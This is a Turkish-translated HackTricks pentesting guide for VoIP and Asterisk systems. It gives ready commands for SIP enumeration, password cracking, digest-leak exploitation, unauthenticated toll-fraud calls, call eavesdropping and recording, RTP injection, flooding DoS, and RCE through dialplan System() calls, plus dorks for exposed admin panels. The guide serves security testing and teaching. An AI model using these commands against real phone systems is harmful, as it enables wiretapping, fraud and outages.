hacktricks/network-services-pentesting/pentesting-voip
2024-04-18 04:08:29 +00:00
..
basic-voip-protocols Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-04-18 04:08:29 +00:00
README.md Translated to Turkish 2024-02-10 18:14:16 +00:00

VoIP Pentesting

AWS hackleme hakkında sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

VoIP Temel Bilgiler

VoIP'nin nasıl çalıştığını öğrenmeye başlamak için kontrol edin:

{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}

VoIP Numaralarının Saptanması

Kırmızı Takım'ın yapabileceği ilk adımlardan biri, OSINT araçları, Google Aramaları veya web sayfalarını kazıyarak şirketle iletişim kurmak için kullanılabilir telefon numaralarını aramaktır.

Telefon numaralarına sahip olduktan sonra, operatörü belirlemek için çevrimiçi hizmetler kullanabilirsiniz:

Operatörün VoIP hizmeti sağlayıp sağlamadığını bilmek, şirketin VoIP kullanıp kullanmadığını belirlemenizi sağlar... Dahası, şirketin VoIP PBX'ini geleneksel telefon ağına bağlamak için PSTN kartları kullanmadığı halde VoIP hizmeti satın almadığı olabilir.

Müzik veya otomatik yanıtlar gibi şeyler genellikle VoIP kullanıldığını gösterir.

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

OSINT bilgileri

VoIP yazılımının tespit edilmesine yardımcı olan diğer OSINT araştırmaları Kırmızı Takım için faydalı olacaktır.

Ağ Taraması

  • nmap, UDP servislerini tarama yeteneğine sahiptir, ancak tarama yapılan UDP servislerinin sayısı nedeniyle oldukça yavaş olabilir ve bu tür servislerle çok doğru sonuçlar vermeyebilir.
  • SIPVicious'ten svmap (sudo apt install sipvicious): Belirtilen ağda SIP servislerini bulacaktır.
  • svmap, friendly-scanner kullanıcı ajanını kullandığı için kolayca engellenebilir, ancak /usr/share/sipvicious/sipvicious dizinindeki kodu değiştirerek bunu değiştirebilirsiniz.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • sipscan.py sippts'den: Sipscan, UDP, TCP veya TLS üzerinden SIP hizmetlerini taramak için çok hızlı bir tarayıcıdır. Çoklu iş parçacığı kullanır ve geniş ağ aralıklarını tarayabilir. Kolayca bir port aralığı belirtmeye, hem TCP hem de UDP'yi taramaya, başka bir yöntem kullanmaya (varsayılan olarak OPTIONS kullanır) ve farklı bir User-Agent belirtmeye (ve daha fazlasına) izin verir.
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200

  • metasploit:

Metasploit, birçok farklı güvenlik açığı tespit etme ve istismar etme yeteneklerine sahip bir popüler bir açık kaynaklı sızma testi aracıdır. Metasploit Framework, siber güvenlik profesyonellerinin ağları, uygulamaları ve sistemleri test etmek ve güvenlik açıklarını tespit etmek için kullanabilecekleri bir dizi modül ve araç sunar. Bu araç, hedef sistemlere saldırmak ve zafiyetlerini istismar etmek için kullanılabilir. Metasploit, sızma testi ve güvenlik değerlendirmeleri sırasında yaygın olarak kullanılan bir araçtır.

auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Ekstra Ağ Numaralandırma

PBX ayrıca aşağıdaki gibi diğer ağ hizmetlerini de açığa çıkarabilir:

  • 69/UDP (TFTP): Firmware güncellemeleri
  • 80 (HTTP) / 443 (HTTPS): Cihazı web üzerinden yönetmek için
  • 389 (LDAP): Kullanıcı bilgilerini depolamak için alternatif
  • 3306 (MySQL): MySQL veritabanı
  • 5038 (Manager): Asterisk'i diğer platformlardan kullanmaya izin verir
  • 5222 (XMPP): Jabber kullanarak mesajlar
  • 5432 (PostgreSQL): PostgreSQL veritabanı
  • Ve diğerleri...

Yöntemlerin Numaralandırılması

PBX'de kullanılabilecek hangi yöntemlerin mevcut olduğu sipenumerate.py kullanılarak bulunabilir. sippts

python3 sipenumerate.py -i 10.10.0.10 -r 5080

Uzantı Numaralarının Saptanması

PBX (Özel Şube Değiştirici) sistemlerinde uzantılar, bir organizasyon veya işletme içindeki bireysel telefon hatları, cihazlar veya kullanıcılara atanan benzersiz iç tanımlayıcılardır. Uzantılar, her kullanıcı veya cihaz için ayrı harici telefon numaralarına ihtiyaç duymadan, organizasyon içinde çağrıları verimli bir şekilde yönlendirmeyi mümkün kılar.

  • SIPVicious'ten svwar (sudo apt install sipvicious): svwar, ücretsiz bir SIP PBX uzantı hattı tarayıcısıdır. Kavramsal olarak, geleneksel wardialer'lar gibi çalışır ve bir uzantı aralığı veya belirli bir uzantı listesi tahmin ederek çalışır.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • sipextend.py sippts üzerinden: Sipexten, bir SIP sunucusunda uzantıları tanımlar. Sipexten, geniş ağ ve port aralıklarını kontrol edebilir.
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
  • metasploit: Metasploit ile uzantıları/kullanıcı adlarını da sıralayabilirsiniz:
auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX bir Inter Asterisk Exchange protokolü kullanıcı adı brute-force numaralandırıcısıdır. enumIAX iki farklı modda çalışabilir; Sıralı Kullanıcı Adı Tahmini veya Sözlük Saldırısı.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

VoIP Saldırıları

Şifre Brute-Force

Bir Kırmızı Takım, PBX'i ve bazı uzantı/kullanıcı adlarını keşfettikten sonra, bir sözlük kullanarak kimlik doğrulaması için bir uzantıya REGISTER yöntemi aracılığıyla kimlik doğrulama yapmayı deneyebilir.

{% hint style="danger" %} Bir kullanıcı adının uzantı ile aynı olabileceğini unutmayın, ancak bu uygulama PBX sistemi, yapılandırması ve kuruluşun tercihlerine bağlı olarak değişebilir...

Eğer kullanıcı adı uzantı ile aynı değilse, kullanıcı adını bulmak için brute-force yapmanız gerekecektir. {% endhint %}

  • svcrack from SIPVicious (sudo apt install sipvicious): SVCrack, bir PBX üzerinde belirli bir kullanıcı adı/uzantı için şifreyi kırmak için kullanılır.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • sipcrack.py sippts içerisinden:** SIP Digest Crack, SIP protokolü içindeki digest kimlik doğrulamalarını kırmak için bir araçtır.

{% code overflow="wrap" %}

python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt

{% endcode %}

VoIP Sniffing

Eğer bir ık Wifi ağı içinde VoIP ekipmanı bulursanız, tüm bilgileri dinleyebilirsiniz. Dahası, daha kapalı bir ağda bulunuyorsanız (Ethernet veya korumalı Wifi üzerinden bağlanmış), ARPspoofing gibi MitM saldırıları gerçekleştirebilir ve bilgileri dinleyebilirsiniz.

Ağ bilgileri arasında, ekipmanı yönetmek için kullanılan web kimlik bilgileri, kullanıcı uzantıları, kullanıcı adı, IP adresleri, hatta karmaşık parolalar ve RTP paketleri bulunabilir. Bu RTP paketlerini çoğaltarak konuşmayı dinleyebilirsiniz ve daha fazlasını yapabilirsiniz.

Bu bilgilere ulaşmak için Wireshark, tcpdump gibi araçları kullanabilirsiniz, ancak VoIP konuşmalarını dinlemek için özel olarak oluşturulmuş bir araç olan ucsniff kullanabilirsiniz.

{% hint style="danger" %} SIP iletişiminde TLS kullanılıyorsa, SIP iletişimini açık bir şekilde göremezsiniz.
Aynı durum SRTP ve ZRTP kullanılıyorsa, RTP paketleri açık metin olmayacaktır. {% endhint %}

SIP kimlik bilgileri

SIP REGISTER iletişimini daha iyi anlamak için bu örneği kontrol edin ve kimlik bilgilerinin nasıl gönderildiğini öğrenin.

  • sipdump & sipcrack, sipcrack'in bir parçası (apt-get install sipcrack): Bu araçlar, bir pcap içindeki SIP protokolü içindeki digest kimlik doğrulamalarını çıkarabilir ve brute force yapabilir.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • siptshar.py, sipdump.py, sipcrack.py sippts'den:
  • SipTshark, bir PCAP dosyasından SIP protokolü verilerini çıkarır.
  • SipDump, bir PCAP dosyasından SIP Digest kimlik doğrulamalarını çıkarır.
  • SIP Digest Crack, SIP protokolü içindeki digest kimlik doğrulamalarını kırmak için bir araçtır.
python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt

DTMF kodları

Ağ trafiğinde yalnızca SIP kimlik bilgileri değil, aynı zamanda örneğin sesli mesaje erişmek için kullanılan DTMF kodları da bulunabilir.
Bu kodları INFO SIP mesajları, ses veya RTP paketleri içinde göndermek mümkündür. Kodlar RTP paketlerinin içindeyse, konuşmanın o kısmını kesip multimo aracını kullanarak onları çıkarabilirsiniz:

multimon -a DTMF -t wac pin.wav

Ücretsiz Aramalar / Asterisk Bağlantı Hataları

Asterisk'te, bir bağlantıya belirli bir IP adresinden veya herhangi bir IP adresinden izin vermek mümkündür:

host=10.10.10.10
host=dynamic

Eğer bir IP adresi belirtilirse, sunucunun REGISTER isteklerini belirli aralıklarla göndermesine gerek kalmaz (REGISTER paketinde genellikle 30 dakika olan yaşam süresi gönderilir, bu da diğer senaryoda telefonun her 30 dakikada bir REGISTER yapmasını gerektirir). Bununla birlikte, VoIP sunucusundan gelen çağrıları almak için açık portlara sahip olması gerekecektir.

Kullanıcıları tanımlamak için aşağıdaki şekilde tanımlanabilirler:

  • type=user: Kullanıcı sadece kullanıcı olarak çağrı alabilir.
  • type=friend: Uzantılarla birlikte çağrı yapmak ve kullanıcı olarak çağrı almak mümkündür.
  • type=peer: SIP-trunklarla çağrı göndermek ve almak mümkündür.

Ayrıca, güvensiz değişkenle güven oluşturmak da mümkündür:

  • insecure=port: IP tarafından doğrulanan peer bağlantılarına izin verir.
  • insecure=invite: INVITE mesajları için kimlik doğrulama gerektirmez.
  • insecure=port,invite: Her ikisi de

{% hint style="warning" %} type=friend kullanıldığında, host değişkeninin değeri kullanılmaz, bu nedenle bir yönetici bu değeri kullanarak bir SIP-trunk'ı yanlış yapılandırırsa, herkes ona bağlanabilir.

Örneğin, bu yapılandırma savunmasız olacaktır:
host=10.10.10.10
insecure=port,invite
type=friend {% endhint %}

Ücretsiz Aramalar / Asterisk Bağlam Yanlış Yapılandırmaları

Asterisk'te bir bağlam, ilgili uzantıları, eylemleri ve kuralları gruplandıran adlandırılmış bir konteyner veya bölümdür. Arama planı, bir Asterisk sisteminin temel bileşenidir, çünkü gelen ve giden çağrıların nasıl işlendiğini ve yönlendirildiğini tanımlar. Bağlamlar, arama planını düzenlemek, erişim kontrolünü yönetmek ve sistemdeki farklı bölümler arasında ayrım sağlamak için kullanılır.

Her bağlam genellikle extensions.conf dosyasında yapılandırma dosyasında tanımlanır. Bağlamlar, köşeli parantezlerle belirtilir ve bağlam adı içine alınır. Örneğin:

csharpCopy code[my_context]

İçerikte, uzantıları (aranan numaraların desenlerini) tanımlarsınız ve bunları bir dizi eylem veya uygulama ile ilişkilendirirsiniz. Bu eylemler, aramanın nasıl işlendiğini belirler. Örneğin:

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

Bu örnek, "my_context" adında basit bir bağlamı ve "100" uzantısını göstermektedir. Birisi 100'ü çevirdiğinde, çağrı cevaplanacak, bir karşılama mesajı çalınacak ve ardından çağrı sonlandırılacaktır.

Bu, başka bir numarayı aramaya izin veren başka bir bağlamdır:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

Eğer yönetici varsayılan bağlamı aşağıdaki gibi tanımlarsa:

[default]
include => my_context
include => external

{% hint style="warning" %} Herhangi bir kişi, sunucuyu başka bir numarayı aramak için kullanabilecek (ve sunucu yöneticisi aramayı ödeyecektir). {% endhint %}

{% hint style="danger" %} Ayrıca, varsayılan olarak sip.conf dosyası allowguest=true içerir, bu durumda herhangi bir kimlik doğrulama olmadan saldırgan herhangi bir numarayı arayabilir. {% endhint %}

  • sippts 'den sipinvite.py:** Sipinvite, bir PBX sunucusunun kimlik doğrulama olmadan arama yapmamıza izin verip vermediğini kontrol eder. Eğer SIP sunucusu yanlış yapılandırılmışsa, harici numaralara arama yapmamıza izin verecektir. Ayrıca çağrıyı ikinci bir harici numaraya aktarmamıza da izin verebilir.

Örneğin, Asterisk sunucunuzun kötü bir bağlam yapılandırması varsa, yetkilendirme olmadan INVITE isteğini kabul edebilirsiniz. Bu durumda, bir saldırgan herhangi bir kullanıcı/şifre bilgisi olmadan arama yapabilir.

{% code overflow="wrap" %}

# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444

{% endcode %}

Ücretsiz aramalar / Yanlış yapılandırılmış IVRS

IVRS, kullanıcıların ses veya dokunmatik tuş girişleri aracılığıyla bilgisayarlaştırılmış bir sistemle etkileşimde bulunmasını sağlayan bir telefon teknolojisidir. IVRS, bilgi sağlama, çağrı yönlendirme ve kullanıcı girişi yakalama gibi çeşitli işlevler sunan otomatik çağrı işleme sistemleri oluşturmak için kullanılır.

VoIP sistemlerinde IVRS genellikle şunlardan oluşur:

  1. Sesli ipuçları: Kullanıcıları IVR menü seçenekleri ve talimatlarıyla yönlendiren önceden kaydedilmiş sesli mesajlar.
  2. DTMF (Dual-Tone Multi-Frequency) sinyali: Telefon üzerindeki tuşlara basarak oluşturulan dokunmatik tuş girişleri, IVR menülerinde gezinmek ve giriş sağlamak için kullanılır.
  3. Çağrı yönlendirme: Kullanıcı girişine bağlı olarak çağrıları belirli departmanlara, temsilcilere veya uzantılara yönlendirme.
  4. Kullanıcı girişi yakalama: Hesap numaraları, vaka kimlikleri veya diğer ilgili veriler gibi çağrı yapanlardan bilgi toplama.
  5. Harici sistemlerle entegrasyon: IVR sisteminin veritabanlarına veya diğer yazılım sistemlerine bağlanarak bilgiye erişme veya güncelleme, işlemler gerçekleştirme veya olayları tetikleme.

Asterisk VoIP sisteminde, IVR'yi extensions.conf dosyası ve Background(), Playback(), Read() gibi çeşitli uygulamalar kullanarak oluşturabilirsiniz. Bu uygulamalar, sesli ipuçları çalmaya, kullanıcı girişi yakalamaya ve çağrı akışını kontrol etmeye yardımcı olur.

Savunmasız yapılandırmanın örneği

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

Önceki örnek, kullanıcının bir departmanı aramak için 1'i tuşlamasını, başka bir departmanı aramak için 2'yi tuşlamasını veya uzantı numarasını biliyorsa tam numarayı girmesini istediği durumu göstermektedir.
Bu zafiyet, belirtilen uzantı uzunluğunun kontrol edilmemesidir, bu nedenle bir kullanıcı 5 saniyelik zaman aşımı süresi içinde tam bir numara girebilir ve arama gerçekleşir.

Uzantı Enjeksiyonu

Aşağıdaki gibi bir uzantı kullanarak:

exten => _X.,1,Dial(SIP/${EXTEN})

${EXTEN} değişkeni, çağrılacak olan dahili numarayı temsil etmektedir. ext 101 girildiğinde, aşağıdaki durum gerçekleşecektir:

exten => 101,1,Dial(SIP/101)

Ancak, ${EXTEN} daha önceki Asterisk sürümlerinde olduğu gibi sayılardan başka karakterlerin de girilmesine izin veriyorsa, bir saldırgan 101&SIP123123123 girerek 123123123 telefon numarasını arayabilir. Ve bu sonuç olurdu:

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

Bu nedenle, 101 ve 123123123 uzantısına yapılan bir çağrı gönderilecek ve sadece ilk çağrı alan bağlantı kurulacak... ancak bir saldırgan, gerçekleştirilen herhangi bir eşleştirmeyi atlayan bir uzantı kullanırsa ve mevcut olmasa bile, yalnızca istenen numaraya bir çağrı enjekte edebilir.

SIPDigestLeak

SIP Digest Leak, donanım ve yazılım IP Telefonları ile telefon adaptörlerini (VoIP'ten analog'a) içeren birçok SIP Telefonu etkileyen bir güvenlik açığıdır. Bu güvenlik açığı, şifreden hesaplanan Digest kimlik doğrulama yanıtının sızmasına izin verir. Ardından, çoğu şifreyi meydan okuma yanıtına dayanarak gerçekleştirebilen bir çevrimdışı şifre saldırısı mümkündür.

**Buradan güvenlik açığı senaryosu**na ulaşabilirsiniz:

  1. Bir IP Telefonu (kurban), telefon çağrılarını kabul ederek 5060 numaralı bağlantı noktasında dinleme yapar.
  2. Saldırgan, IP Telefonuna bir INVITE gönderir.
  3. Kurban telefon çalmaya başlar ve biri telefonu açar ve kapatır (çünkü diğer ucunda kimse telefonu açmaz)
  4. Telefon kapatıldığında, kurban telefon saldırana bir BYE gönderir.
  5. Saldırgan, kimlik doğrulaması isteyen bir 407 yanıtı yayınlar ve bir kimlik doğrulama meydan okuması oluşturur.
  6. Kurban telefon, ikinci bir BYE ile kimlik doğrulama meydan okumasına bir yanıt sağlar.
  7. Saldırgan, yerel makinesinde (veya dağıtılmış ağ vb.) meydan okuma yanıtına brute-force saldırısı yapabilir ve şifreyi tahmin edebilir.
  • sippts'den sipdigestleak.py: SipDigestLeak, bu güvenlik açığını sömürür.
python3 sipdigestleak.py -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Call, bir web kullanıcısının (örneğin bir ürüne ilgi duyan bir kullanıcı) arama yapılması için telefon numarasını girmesine olanak tanır. Ardından bir reklam aranır ve kullanıcı telefonu kaldırdığında kullanıcı arama yapılır ve ajanla bağlantı kurulur.

Bunun için yaygın bir Asterisk profili şöyledir:

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • Önceki profil, HERHANGİ BİR IP adresinin bağlanmasına izin veriyor (şifre biliniyorsa).
  • Önceden belirtildiği gibi, bir çağrı düzenlemek için okuma izinleri gerekli değildir ve yalnızca yazma için başlatma gereklidir.

Bu izinlerle, şifreyi bilen herhangi bir IP adresi bağlanabilir ve çok fazla bilgi çıkarabilir, örneğin:

{% code overflow="wrap" %}

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

{% endcode %}

Daha fazla bilgi veya eylem istenebilir.

Dinleme

Asterisk'te, ChanSpy komutunu kullanarak dinlenmek istenen dahili(leri) (veya hepsini) belirterek gerçekleşen konuşmaları dinlemek mümkündür. Bu komut bir dahiliye atanmalıdır.

Örneğin, exten => 333,1,ChanSpy('all',qb) ifadesi, 333 numaralı dahiliyi ararsanız, tüm dahilileri dinleyeceğini, yeni bir konuşma başladığında (b) sessiz modda (q) dinlemeye başlayacağını belirtir. Konuşmalardan birinden diğerine geçmek için * tuşuna basabilir veya dahili numarasını işaretleyebilirsiniz.

Ayrıca, yalnızca bir dahiliyi dinlemek için ExtenSpy kullanmak da mümkündür.

Konuşmaları dinlemek yerine, bir dahili kullanarak bunları dosyalara kaydetmek de mümkündür:

{% code overflow="wrap" %}

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

{% endcode %}

Aramalar /tmp dizininde kaydedilecektir.

Ayrıca, Asterisk'i kapatıldığında aramayı sızdıracak bir betik çalıştırmasını bile yapabilirsiniz.

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed

RTCPBleed, 2017 yılında yayınlanan Asterisk tabanlı VoIP sunucularını etkileyen önemli bir güvenlik sorunudur. Bu zafiyet, VoIP konuşmalarını taşıyan RTP (Gerçek Zamanlı Protokol) trafiğinin, internet üzerindeki herhangi bir kişi tarafından intercept edilip yönlendirilmesine olanak tanır. Bu durum, RTP trafiğinin NAT (Ağ Adresi Çevirisi) güvenlik duvarlarından geçerken kimlik doğrulamasını atlaması nedeniyle meydana gelir.

NAT sistemlerini etkileyen RTC sistemlerinin sınırlamalarını ele alan RTP proxy'leri, iki veya daha fazla taraf arasında RTP akışlarını proxy yaparak çözmeye çalışır. NAT mevcut olduğunda, RTP proxy yazılımı genellikle sinyalizasyon (örneğin SIP) aracılığıyla alınan RTP IP ve port bilgilerine güvenemez. Bu nedenle, birçok RTP proxy, böyle bir IP ve port çiftinin otomatik olarak öğrenildiği bir mekanizma uygulamıştır. Bu genellikle gelen RTP trafiğini inceleyerek ve gelen RTP trafiği için kaynak IP ve portunu yanıtlanması gereken IP ve port olarak işaretleyerek yapılır. Bu mekanizma, "öğrenme modu" olarak adlandırılabilir ve herhangi bir kimlik doğrulama kullanmaz. Bu nedenle saldırganlar, RTP trafiğini RTP proxy'sine gönderebilir ve meşru kullanıcılara gönderilmesi gereken proxy RTP trafiğini alabilir. Bu zafiyete RTP Bleed adını veriyoruz çünkü saldırganlara meşru kullanıcılara gönderilmesi gereken RTP medya akışlarını almasına olanak tanır.

RTP proxy'lerinin ve RTP yığınlarının başka bir ilginç davranışı ise, RTP Bleed'e karşı savunmasız olsalar bile, bazen herhangi bir kaynaktan gelen RTP paketlerini kabul eder, iletebilir ve/veya işleyebilirler. Bu nedenle saldırganlar, meşru olanın yerine kendi medyalarını enjekte etmelerine izin verebilecek RTP paketleri gönderebilirler. Bu saldırıya RTP enjeksiyonu adını veriyoruz çünkü mevcut RTP akışlarına meşru olmayan RTP paketlerinin enjekte edilmesine olanak tanır. Bu zafiyet hem RTP proxy'lerinde hem de uç noktalarda bulunabilir.

Asterisk ve FreePBX, geleneksel olarak RTP trafiğinin kimlik doğrulamasını atlamasına neden olan NAT=yes ayarını kullanmıştır, bu da çağrılarda ses olmamasına veya tek yönlü ses olmasına neden olabilir.

Daha fazla bilgi için https://www.rtpbleed.com/ adresini kontrol edin.

  • sippts 'den rtpbleed.py:** RTP Bleed zafiyetini tespit ederek RTP akışları gönderir.
python3 rtpbleed.py -i 10.10.0.10
  • rtcpbleed.py sippts tarafından: RTP akışları göndererek RTP Bleed zafiyetini tespit eder.
python3 rtcpbleed.py -i 10.10.0.10
  • rtpbleedflood.py sippts tarafından: RTP Bleed zafiyetini sömürerek RTP akışları gönderir.
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
  • rtpbleedinject.py sippts dosyasından: RTP Bleed açığından yararlanarak RTP akışları gönderir (bir ses dosyasından)
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav

Uzaktan Kod Çalıştırma (RCE)

Asterisk'te, bir şekilde dahili numara kuralları ekleyip yeniden yüklemeyi başarabilirsiniz (örneğin, zafiyetli bir web yönetici sunucusunu ele geçirerek). System komutunu kullanarak RCE elde etmek mümkündür.

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

Shell adında bir komut vardır, gerektiğinde sistem komutlarını çalıştırmak için System yerine kullanılabilir.

{% hint style="warning" %} Sunucu, System komutunda belirli karakterlerin kullanımını yasaklıyorsa (örneğin Elastix'te), web sunucusunun sistem içinde dosya oluşturmaya izin verip vermediğini kontrol edin (örneğin Elastix veya trixbox'ta) ve bunu kullanarak bir arka kapı betiği oluşturun ve ardından System kullanarak o betiği çalıştırın. {% endhint %}

İlginç yerel dosyalar ve izinler

  • sip.conf -> SIP kullanıcılarının şifresini içerir.
  • Asterisk sunucusu root olarak çalışıyorsa, root hesabını ele geçirebilirsiniz.
  • mysql root kullanıcısının herhangi bir şifresi olmayabilir.
  • Bu, yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
  • FreePBX
  • amportal.conf -> Web panel yöneticisinin (FreePBX) şifresini içerir.
  • FreePBX.conf -> Veritabanına erişmek için kullanılan FreePBXuser kullanıcısının şifresini içerir.
  • Bu, yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
  • Elastix
  • Elastix.conf -> Mysql root şifresi, IMAPd şifresi, web yönetici şifresi gibi birkaç şifreyi açık metin olarak içerir.
  • Birçok klasör, ele geçirilen asterisk kullanıcısına ait olacaktır (root olarak çalışmıyorsa). Bu kullanıcı önceki dosyaları okuyabilir ve ayrıca yapılandırmayı kontrol eder, bu nedenle Asterisk'in başka bir arka kapılı ikili dosyayı çalıştırmasını sağlayabilir.

RTP Enjeksiyonu

rtpinsertsound (sudo apt install rtpinsertsound) ve rtpmixsound (sudo apt install rtpmixsound) gibi araçlar kullanarak konuşmalara .wav eklemek mümkündür.

Veya http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ adresindeki betikleri kullanarak konuşmaları taramak için (rtpscan.pl), bir .wav'ı bir konuşmaya göndermek için (rtpsend.pl) ve bir konuşmaya gürültü eklemek için (rtpflood.pl) kullanabilirsiniz.

DoS

VoIP sunucularında DoS elde etmek için birkaç yol vardır.

  • sippts üzerindeki sipflood.py: **SipFlood hedefe sınırsız mesaj gönderir.
  • python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v
  • IAXFlooder: Asterisk tarafından kullanılan IAX protokolüne DoS saldırısı yapar.
  • inviteflood: UDP/IP üzerinden SIP/SDP INVITE mesajı sızdırma yapmak için bir araç.
  • rtpflood: Birkaç düzgün oluşturulmuş RTP paketi gönderir. Kullanılan RTP bağlantı noktalarını bilmek gereklidir (önce izlemek).
  • SIPp: SIP trafiğini analiz etmeye ve oluşturmaya olanak sağlar, bu nedenle DoS için de kullanılabilir.
  • SIPsak: SIP İsviçre çakısı. SIP saldırıları gerçekleştirmek için de kullanılabilir.
  • Fuzzer'lar: protos-sip, voiper.
  • sippts üzerindeki sipsend.py: SIPSend, özelleştirilmiş bir SIP mesajı göndermemize ve yanıtı analiz etmemize olanak sağlar.
  • sippts üzerindeki wssend.py: WsSend, WebSockets üzerinden özelleştirilmiş bir SIP mesajı göndermemize ve yanıtı analiz etmemize olanak sağlar.

İşletim Sistemi Zafiyetleri

Asterisk gibi bir yazılımı kurmanın en kolay yolu, zaten yüklü olan bir işletim sistemi dağıtımını indirmektir, örneğin: FreePBX, Elastix, Trixbox... Ancak, bu tür sistemler çalıştıktan sonra sistem yöneticileri genellikle bunları güncellemezler ve zamanla zafiyetler keşfedilir.

Referanslar

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları: